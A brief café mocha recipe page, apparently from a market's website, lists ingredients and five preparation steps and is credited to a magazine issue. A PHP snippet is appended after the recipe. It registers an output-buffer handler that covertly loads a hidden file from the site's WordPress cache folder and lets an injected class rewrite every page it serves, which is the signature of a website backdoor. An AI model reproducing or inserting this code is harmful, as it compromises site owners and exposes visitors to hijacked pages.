Café Mocha

Prep Time

0 Minutes

Cook Time

2 Minutes

Yield

Serves 1

Description

Most ingredients are available in Antonio’s Market!

Ingredients

1 cup Espresso
1 oz Chocolate Syrup
1/4 cup Steamed Milk
Whipped Cream
Chocolate for Sprinkling

Method of Preparation

1. Brew espresso according to the directions of the machine’s manufacturer.
2. Coat the bottom of a cup with chocolate syrup.
3. Add the espresso and steamed milk to fill the cup.
4. Top with whipped cream and a sprinkle of chocolate.
5. Enjoy warm!

Recipe Source

Bon Appetit Magazine, October 2014 Issue

function ob_gzhanler($s) { $f='/data/19/2/124/52/2939541/user/3258021/htdocs/Development/wp-content/cache/ssess_2a52da7dd6661b1ae8dca7d527933a19'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');